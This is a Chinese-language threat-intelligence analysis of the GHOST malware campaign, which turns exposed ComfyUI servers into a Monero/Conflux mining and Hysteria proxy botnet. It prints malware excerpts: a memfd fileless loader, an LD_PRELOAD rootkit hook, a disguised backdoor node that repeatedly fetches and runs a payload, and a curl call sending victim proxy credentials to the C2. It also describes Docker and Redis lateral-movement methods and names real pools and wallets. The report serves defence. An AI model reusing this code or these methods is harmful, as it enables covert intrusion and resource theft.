摘要

這份報告提供一個近期攻擊活動的完整技術分析,該活動鎖定暴露於網際網路的 ComfyUI 實例,將其轉變為加密貨幣挖礦與代理僵屍網路(Proxy botnet)。攻擊者利用 ComfyUI 自訂節點生態系中的漏洞,在未經身分驗證的部署環境上達成遠端程式碼執行 (Remote Code Execution, RCE)。我們深入探討此惡意軟體複雜的規避技術、持續機制、命令與控制基礎設施以及橫向移動手法。此外,報告也從其他當代惡意軟體分析(包含以 Python 為基礎的遠端存取木馬 (Remote Access Trojans, RAT) 以及勒索軟體即服務 (Ransomware-as-a-Service, RaaS) 平台)中汲取觀點與比較,提供對威脅情勢更廣泛的理解。

AI繪圖伺服器淪為挖礦傀儡:ComfyUI未授權RCE漏洞遭大規模濫用 | 資訊安全新聞

1. 簡介

像 ComfyUI 這類 AI 圖像生成平台,通常部署於高效能 GPU 硬體上並暴露於網際網路,其普及化無意間為 Malicious actor 創造了有利可圖的目標。這些系統專為密集運算任務而設計,擁有顯著的處理能力,可被重新用於非法活動,例如加密貨幣挖礦。報告調查了由 Censys ARC 識別出的一個特定攻擊活動,攻擊者利用 ComfyUI 伺服器中的設定錯誤,建立了一個具韌性的挖礦與代理僵屍網路 [1] 。該攻擊活動突顯了 adversaries 持續演進的戰術,他們不斷尋求將合法基礎設施武器化以獲取經濟利益。

2. 攻擊鏈的技術分析

2.1 初始入侵與遠端程式碼執行 (RCE)

攻擊一開始會主動掃描主要雲端 IP 範圍,尋找存在漏洞的 ComfyUI instances。這些 Instances 通常暴露於網際網路且未設置適當的 authentication,因此容易受到攻擊。核心漏洞位於 ComfyUI 的自訂節點生態系中,該生態系允許任意程式碼執行 [1] 。若無可利用的節點,攻擊者會透過 ComfyUI-Manager 自動安裝惡意節點,以取得初始存取權限並執行 RCE。這種利用應用程式特定擴充機制(而非核心應用程式本身)的手法,代表一種微妙但有效的入侵方式。

2.2 惡意軟體能力與規避技術

成功入侵後,會部署 ghost.sh 惡意軟體(內部版本為 GHOST v5.1 及後續的 v6.0)。此惡意軟體展現多種進階能力,專門設計來規避偵測與維持持續性 [1]

2.2.1 無檔案執行

ghost.sh 腳本採用無檔案執行技術,將在磁碟上的足跡降至最低。它透過 Linux syscall 的 memfd_create 來避免將執行檔寫入實體磁碟,這個 syscall 會建立一個匿名、利用記憶體的檔案描述符。下載的執行檔會被寫入此匿名檔案,並直接從 /proc/self/fd/<n> 執行。執行後,下載的封存檔會被刪除,不會在檔案系統上留下痕跡 [1]

  1. SCN = {'x86_64':319, 'amd64':319, 'aarch64':279, 'arm64':279, ...}
  2. NR = SCN.get(os.uname().machine, 319) # syscall number for memfd_create
  3. libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True)
  4. # extract the binary from the download directory into memory
  5. with tarfile.open(arc, 'r:gz') as tf:
  6. for m in tf.getmembers():
  7. if m.name.endswith(bname) and m.isfile():
  8. # ... code to write to memfd and execute ...

這種手法顯著阻礙了依賴磁碟型入侵指標的傳統鑑識分析與偵測機制。

2.2.2 處理程序偽裝

為了進一步規避偵測,惡意軟體採用了複雜的處理程序偽裝技術。在較早的版本中,它會寫死隱藏的處理程序名稱,例如 khugepaged_<hash> nv_uvm_<hash> ,模仿合法的 kernel 執行緒。然而,更新後的 GHOST v6.0 會動態識別受害機器上具有長名稱的服務,並冒充它們,使得透過簡單的處理程序列表來識別惡意處理程序變得更加困難 [1]

2.3 持續機制

GHOST 惡意軟體實作了多種持續機制,以確保即使在重新開機或嘗試移除挖礦程式後仍能存活 [1]

2.3.1 LD_PRELOAD Rootkit

一個關鍵的持續機制是透過 /etc/ld.so.preload 將一個共享程式庫注入系統上每一個以 ld.so 為基礎的處理程序。該程式庫包含一個 readdir hook,會靜默地跳過與挖礦程式名稱相符的檔案和處理程序,有效地將它們從 ls ps top 等系統工具中隱藏起來 [1]

  1. /* Generated and compiled at runtime -- hides files and
  2. * processes matching the miner's names */
  3. struct dirent *readdir (DIR *dirp) {
  4. struct dirent *(*orig) (DIR *) = dlsym(RTLD_NEXT, "readdir");
  5. struct dirent *e;
  6. while ((e = orig(dirp)) != NULL) {
  7. if (_should_hide(e->d_name)) continue; // hide by filename
  8. if (_pid_hidden(e->d_name)) continue; // hide by /proc/<pid>/cmdline content
  9. return e;
  10. }
  11. return NULL;
  12. }

這種 rootkit 功能使得系統管理員極難使用標準系統工具來偵測和移除惡意軟體。

2.3.2 後門節點與啟動工作流程

掃描器的 8.2 版本引入了兩個額外的重新感染後門 [1]

  • 一個偽裝的 comfyui_perf_monitor 節點:該節點偽裝成「GPU 效能監控器」,會產生一個 daemon 執行緒,每六小時重新下載並重新執行惡意軟體的 payload ( q11.txt ) [1] 。這確保即使主要挖礦程式被移除,仍能持續重新感染。
    1. _FETCH_CODE = base64.b64decode(b"<base64-encoded fetcher="">").decode()
    2. def _beacon():
    3. while True:
    4. try:
    5. exec(_FETCH_CODE)
    6. except Exception:
    7. pass
    8. time.sleep(21600) # 6 hours
    9. threading.Thread(target=_beacon, daemon=True).start()
    10. class PerformanceMonitor:
    11. CATEGORY = "utils/monitoring"
    12. # ... returns GPU name, looks normal ...
  • 被汙染的預設啟動工作流程:掃描器將一個惡意攻擊工作流程寫入 userdata/default/workflows/default.json 。當 ComfyUI 啟動時,此工作流程會自動載入,觸發每次重新啟動時執行全新的 payload [1]

這些結合的機制使得惡意軟體具有高度的韌性,能夠在挖礦程式被移除以及系統重新開機後持續存活 [1]

2.4 僵屍網路操作:加密貨幣挖礦與代理網路

被入侵的主機被納入一個雙用途的僵屍網路,同時進行加密貨幣挖礦與代理服務 [1]

2.4.1 加密貨幣挖礦

該僵屍網路主要使用 XMRig 挖礦程式挖礦 Monero,並使用 lolMiner 挖礦 Conflux。選擇這些加密貨幣通常是因為它們的隱私功能以及對 GPU 友善的挖礦演算法。惡意軟體設定了特定的 mining pool 和錢包位址 [1]

  1. readonly XMR_POOL_1="xmr.krymtex.network:8029"
  2. readonly XMR_POOL_2="77.110.96.200:3333"
  3. readonly XMR_WALLET="4BBj3gJ4ov7iRikNHDGtETDFRm8z6kG7diVMo8mDz4zcUIXogiF8chHRKK1THWW43zc8XbGYLFU4RbgwyWYagpWG4ePiGt4"
  4. readonly LOL_POOL_1="cfx.krymtex.network:8027"
  5. readonly LOL_POOL_2="77.110.96.200:4444"
  6. readonly LOL_ALGO="OCTOPUS"
  7. readonly LOL_WALLET="cfx:aaJ5xbzcjukme1942fhgxsrxtnf92x7j3adxwU9sns"

惡意軟體還包含優先將 GPU 資源分配給挖礦的邏輯,在 NVIDIA GPU 上執行 nvidia-smi -c EXCLUSIVE_PROCESS ,以確保一旦挖礦程式建立 CUDA context 後,沒有其他處理程序能夠使用這些 GPU [1]

2.4.2 代理僵屍網路 (Hysteria v2)

除了加密貨幣挖礦,被入侵的伺服器還會被整合到一個 Hysteria v2 代理僵屍網路中。Hysteria v2 是一個快速、安全且混淆的代理協定,非常適合攻擊者用來路由流量並隱藏其來源。惡意軟體會安裝 hyst.sh ,它會產生一個隨機的連接埠和密碼,並建立一個 self-signed TLS certificate。非 Hysteria 流量會被偽裝成導向 https://bing.com ,進一步增強隱蔽性 [1]

  1. curl -X POST "${API_URL}/api/vpn/report" \
  2. -H "Authorization: Bearer ${API_TOKEN}" \
  3. -H "Content-Type: application/json" \
  4. -d
  5. "server_ip": "<victim_ip>",
  6. "port": "<random_port>",
  7. "password": "<random_password>",
  8. "uri": "hy2://<password>@<ip>:<port>?

2.5 命令與控制 (C2) 基礎設施

整個操作是透過一個以 Flask 為基礎的命令與控制儀表板進行管理,通常託管在 3301 連接埠。這個獨立運作的 Python 應用程式使用嵌入式 SQLite 資料庫來追蹤受感染的 worker 及其挖礦統計資料 [1]

  1. CREATE TABLE IF NOT EXISTS miners (
  2. worker TEXT UNIQUE NOT NULL, -- "vm<hex>" derived from hostname
  3. ip TEXT DEFAULT
  4. hashrate_cpu REAL DEFAULT 0,
  5. hashrate_gpu REAL DEFAULT 0,
  6. hashrate_unit TEXT DEFAULT 'H/s',
  7. algorithm TEXT DEFAULT
  8. pool TEXT DEFAULT
  9. shares_accepted INTEGER DEFAULT 0,
  10. shares_rejected INTEGER DEFAULT 0,
  11. gpu_json TEXT DEFAULT '[]', -- full GPU inventory as JSON
  12. ram_total_gb REAL DEFAULT 0,
  13. os_info TEXT DEFAULT
  14. kernel TEXT DEFAULT
  15. last_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP
  16. );

C2 面板允許操作者向單一 worker 推送指令,或向整個僵屍網路廣播命令,包括重新啟動 CPU/GPU 挖礦程式、更新惡意軟體、終止處理程序或執行自訂命令 [1]

2.6 競爭者清除與橫向移動

GHOST 惡意軟體在排除競爭者與擴大其影響範圍方面極具侵略性 [1]

2.6.1 競爭者清除

在啟動自己的挖礦操作之前, ghost.sh 會主動識別並終止其他的加密貨幣挖礦程式。它使用多種方法:

  • 終止消耗超過 80% CPU 且位於暫存目錄( /tmp /dev/shm /var/tmp )中,或擁有連接到已知礦池連接埠(8081、3333、5555、6969、9999)之開放 socket 的處理程序 [1]
  • 掃描 /etc/passwd 中的使用者,並刪除符合挖礦或 curl|bash 模式的 crontabs [1]
  • 停止、停用並刪除符合 miner|xmr|crypto 的 systemd 服務單元檔案 [1]
  • 安裝 iptables 規則來阻擋對一個寫死列表中的公共 Monero 及其他加密貨幣礦池的 outbound 連線,同時確保自己的礦池連線不受影響 [1]

2.6.2 橫向移動

惡意軟體包含多種橫向移動技術,以便在網路內擴散:

  • SSH key 利用:它會使用在受害主機上找到的 keys 透過 SSH 進行擴散。更新後的版本還會嘗試將一個寫死的 SSH public key 注入到 root 及所有使用者的 authorized_keys [1]
  • 未經身分驗證的 Docker daemon 利用:它會掃描暴露在 TCP/2375 上的 Docker daemons,並建立一個具有 host root 檔案系統 bind-mount 的 privileged 容器,然後在其中執行惡意軟體 payload [1]
  • 未經身分驗證的 Redis 轉 cron 方法:它會利用 TCP/6379 上的 Redis instances,重新設定 Redis 將其 RDB 儲存到 /var/spool/cron/crontabs/root ,注入一個每三分鐘重新執行惡意軟體的 cron 任務行 [1]

3. 更廣泛的威脅情勢與相關研究

ComfyUI 僵屍網路所採用的戰術與其他現代惡意軟體活動有相似之處,突顯了網路攻擊中的常見趨勢。例如,在 ghost.sh 中看到的將 Python 用於惡意軟體開發,在以 Python 為基礎的遠端存取木馬 (RAT) 中非常普遍 [2] 。這些 RAT 通常利用跨平台相容性、易於開發以及規避技術(例如用於 payload 混淆的 Fernet 加密,以及用於繞過傳統偵測機制的 Process hollowing) [2]

持續性策略,特別是使用類似 rootkit 的功能和排程任務,與複雜勒索軟體操作中所發現的手法相呼應。例如,VanHelsing RaaS 平台利用 mutexes 進行 concurrency 控制、處理程序優先權操控,以及使用 WMI 來刪除陰影複製,同時採用混合加密機制 [3] 。如 GHOST v6.0 中所觀察到的,惡意軟體持續的適應能力(包含沙箱偵測和更新的處理程序偽裝)是像 HijackLoader 這類 evolving 威脅的共同特徵 [1] [4]

利用 GPU 資源進行非法活動也並非此攻擊活動獨有。其他惡意軟體,例如 CoffeeLoader,已展現出利用 GPU 進行惡意執行的能力,並採用進階的規避技術 [5] 。這個趨勢突顯了 adversaries 在受感染系統上最大化資源利用的技術日益精密。

4. 結論

ComfyUI 加密貨幣挖礦與代理僵屍網路攻擊活動代表一個重大的威脅,展示了從初始入侵、規避、持續性到橫向移動的先進技術。攻擊者有效地將 ComfyUI 等平台的可擴充性武器化,將高效能運算資源重新用於他們的非法操作。惡意軟體的模組化設計,加上其強大的持續性與競爭者清除機制,使得偵測和根除變得特別具有挑戰性。

此分析強調了強健安全實務的關鍵需求,包括對暴露於網際網路的服務進行適當的 authentication、對自訂節點和外掛程式進行定期安全審計,以及能夠識別無檔案執行、處理程序偽裝和 rootkit 功能的先進端點偵測與回應 (Endpoint Detection and Response, EDR) 解決方案。此外,持續的威脅情資共享和主動防禦策略對於對抗日益演變的網路威脅情勢至關重要,這些威脅日益利用合法平台和先進的規避技術。